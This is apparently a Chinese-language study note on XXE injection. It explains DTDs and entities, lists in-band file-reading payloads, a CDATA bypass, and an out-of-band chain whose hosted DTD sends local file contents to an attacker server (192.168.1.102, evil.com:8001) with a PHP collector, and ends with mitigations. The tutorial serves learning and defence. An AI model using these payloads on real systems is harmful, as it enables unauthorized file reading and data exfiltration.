XXE 漏洞
参考:
Payload
有回显的 XXE
1 2 3 4 5
| <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE ANY[ <!ENTITY resek4 SYSTEM "file:///etc/passwd"> ]> <login>&resek4;</login>
|
案例
CDATA 特殊字符绕过
像最前面的那个例子,可以直接通过 xxe 来爆信息,但是如果信息有例如<>这种的特殊字符,如果直接输出,显然会被解析器解析执行了
所以,当我们遇到要绕过特殊字符将内容回显出来时,我们可以利用 CDATA 来直接输出不被解析原字符串
语法:
1 2 3 4 5
| <![CDATA[
XXXXXXXXXXXXXXXXX
]]>
|
但是如果我们单纯的通过一般实体调用,去将 payload 更改为
1 2 3 4
| <!ENTITY start "<![CDATA["> <!ENTITY goodies "file:///d:/1.txt"> <!ENTITY end "]]>"> ]> <creds>&start;&goodies;&end;</creds>
|
这样子单纯拼接的话,是会报错的,因为偶我们不能在[[xml]]中直接拼接
但是,我们可以在 DTD 中去拼接,然后通过参数实体调用就好了
payload
1 2 3 4 5 6 7 8 9
| <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE roottag [ <!ENTITY % start "<![CDATA["> <!ENTITY % goodies SYSTEM "file:///d:/test.txt"> <!ENTITY % end "]]>"> <!ENTITY % dtd SYSTEM "http://ip/evil.dtd"> %dtd; ]>
<roottag>&all;</roottag>
|
evil.dtd
1 2
| <?xml version="1.0" encoding="UTF-8"?> <!ENTITY all "%start;%goodies;%end;">
|
无回显,使用带外数据协议 OOB
- 带外可以先用**[[DNSlog]]链接** 进行先行测试,来验证目标可以正常访问我们 VPS 的内容
攻击逻辑为:
1、客户端发送 payload1 给服务器
2、服务器因 remote
实体向 VPS 获取恶意 DTD 文件,
3、XML 文件的左右就是调用 payload1 里的 file:///
,并组合成一个 send 链接
4、payload1 里最后,send 发送
payload1:
1 2 3 4 5 6 7
| <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE roottag[ <!ENTITY % remote SYSTEM "http://192.168.1.102/test.dtd"> %remote; %int; %send; ]>
|
payload2:在攻击机的 web 服务器上托管一个 test.dtd 文件,内容为
1 2
| <!ENTITY % file SYSTEM "file:///c:/windows/win.ini"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://192.168.1.102/hacker.php?cookie=%file;'>">
|
或者在这里链接不写这个,而写 http://evil.com:8001/?p=%file;
这个参数随意,传入的文件也没有,但是可以将数据流传入 VPS 的 8001 端口(或者不加就是默认 80),而在 VPS 端我们可以使用[[NC]]或者[[tcpdump]]来抓取数据
hacker.php 可以这样写
1 2 3 4
| <?php $cookie=$_REQUEST['cookie']; file_put_contents('cookie.txt', $cookie); ?>
|
防御
- libxml2.9.0 以后,默认不解析外部实体,导致 XXE 漏洞逐渐消亡
使用开发语言提供的禁用外部实体的方法
1 2
| libxml_disable_entity_loader(true);
|
过滤用户提交的 XML 数据
关键词:<!DOCTYPE
、<!ENTITY
、SYSTEM
、PUBLIC
概念
关于 XML 可参考[[XML]]
实体引用
当标签为 <data>1<2</data>
时,小于号会导致 XML 报错,所以要使用实体引用:<data>1<2</data>
实体引用表格如下:
实体 |
符号 |
< |
< |
> |
> |
& |
& |
‘ |
‘ |
“ |
“ |
而如果在标签中嵌入非系统预期的符号而导致中断,就可能会引起 XXE 注入
XXE
XXE 漏洞全称 XML External Entity Injection 即 XML 外部实体注入
后端代码
1 2 3 4 5 6 7 8 9
| <?php $xmlfile=file_get_contents('php://input'); $dom=new DOMDocument(); $dom->loadXML($xmlfile); $xml=simplexml_import_dom($dom); $xxe=$xml->xxe; $str="$xxe \n"; echo $str; ?>
|
payload
1 2 3 4 5 6 7
| <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE a [ <!ENTITY evil SYSTEM "file:///d://qwzf.txt"> ]> <xml> <xxe>&evil;</xxe> </xml>
|
- 相当于是因为仗着后端 php 代码可以接收 XML,而未曾禁用传进来 XML 里 DTD 声明中的实体定义,导致我们可以在实体定义中写恶意操作(读文件等),然后传进去的 XML 写个调用恶意操作的实体引用&evil 就完成了。
DTD 在 XML 中定义
DTD 像是类定义,XML 中的某一个标签集合(或者一个小标签)都会遵循这个类中所规定的规则(元素数量、内容的类型等)但是这个类声明时候就已经表名要给谁用了(写的是根元素名称,如下面的 address),但是实际调用是如果不牵扯多级元素,根元素名称似乎可以随便写
而 !DOCTYPE 的出现意味着要开始进行 DTD 的声明
DTD 的正常格式是
<!类型 元素名称 元素属性 元素内容>,而直接在 XML 中的 DTD 声明可以省略掉属性部分,例如下例:
1 2 3 4 5 6 7 8 9 10 11 12
| <?xml version="1.0" encoding="UTF-8" standalone="yes" ?> <!DOCTYPE address [ <!ELEMENT address (name,company,phone)> <!ELEMENT name (#PCDATA)> <!ELEMENT company (#PCDATA)> <!ELEMENT phone (#PCDATA)> ]> <address> <name>Tanmay Patil</name> <company>TutorialsPoint</company> <phone>(011) 123-4567</phone> </address>
|
在 XML 中外部引用 DTD
而如果要引用外部 DTD 文件,则 DTD 文件中可以直接写
1 2 3 4 5
| 1.dtd <!ELEMENT address (name,company,phone)> <!ELEMENT name (#PCDATA)> <!ELEMENT company (#PCDATA)> <!ELEMENT phone (#PCDATA)>
|
然后在 XML 中,头部声明完成后紧跟 DTD 声明
1 2 3 4 5 6 7
| <?xml version="1.0" encoding="UTF-8" standalone="no" ?> <!DOCTYPE address SYSTEM "1.dtd"> <address> <name>Tanmay Patil</name> <company>TutorialsPoint</company> <phone>(011) 123-4567</phone> </address>
|
- 当引用的 DTD 文件是本地文件的时候,用 SYSTEM 标识,并写上”DTD 的文件路径”,如下:
1
| <!DOCTYPE 根元素 SYSTEM "DTD文件路径">
|
- 如果引用的 DTD 文件是一个公共的文件时,采用 PUBLIC 标识
1
| <!DOCTYPE 根元素 PUBLIC "DTD名称" "DTD文件的URL">
|
DTD 实体
1 2
| <!ELEMENT name (#PCDATA)> #PCDATA表示此元素可以接收文本文件 <!ELEMENT name ANY> ANY表示可以接收任意类型文件
|
而 ENTITY 实体 是包含外部文件时用的,两者可以在 DTD 中出现,更理所应当能在 XML 中出现
ENTITY 实体从引用位置分为两类:
即在 XML 中头部那块直接定义实体内容与名称,后续直接使用
1 2 3 4 5 6
| <?xml version = "1.0" encoding = "utf-8"?> <!DOCTYPE test [ <!ENTITY writer "Dawn"> <!ENTITY copyright "Copyright W3School.com.cn"> ]> <test>&writer;©right;</test>
|
类似于引用外部的 DTD 文件,且那个外部 DTD 文件里边还包含了引入的外部资源 引用外部实体时可以使用 PHP 伪协议
1 2 3 4 5 6
| <?xml version = "1.0" encoding = "utf-8"?> <!DOCTYPE test [ <!ENTITY file SYSTEM "file:///etc/passwd"> <!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd"> ]> <author>&file;©right;</author>
|
ENTITY 实体从引用方式分为两类:
1 2
| <!ENTITY 实体名称 "实体内容"> 引用方式:&实体名称;末尾要带上分号,这个引用将直接转变成实体内容,如上例
|
1 2 3 4 5 6 7 8 9 10 11
| <!ENTITY % 实体名称 "实体内容"> 引用方式为:%实体名称
%file(参数实体)是在DTD中被引用的,而&file;是在xml文档中被引用的,例如:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE test [ <!ENTITY % file SYSTEM "file:///etc/passwd"> %file; ]>
|